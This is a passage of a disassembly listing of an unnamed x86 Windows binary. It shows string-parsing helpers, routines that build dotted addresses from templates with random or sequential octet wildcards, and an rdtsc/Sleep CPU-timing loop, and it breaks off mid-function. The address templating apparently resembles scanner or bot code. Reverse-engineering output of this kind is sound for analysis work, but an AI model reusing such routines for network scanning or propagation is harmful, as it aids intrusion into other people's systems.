		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------

loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------

loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------

loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------

loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE

loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------

loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1

loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------

loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------

loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------

loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp

loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------

loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------

loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------

loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------

loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------

loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------

loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0

loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB

loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9

loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------

loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------

loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------

loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------

loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------

loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------

loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------

loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------

loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------

loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------

loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9

loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------

loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------

loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------

loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------

loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------

loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------

loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41F018
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------

loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F018
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------

loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx

loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------

loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax

loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------

loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------

loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------

loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax

loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------

loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax

loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------

loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h

loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221

loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB

loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0

loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4

loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0

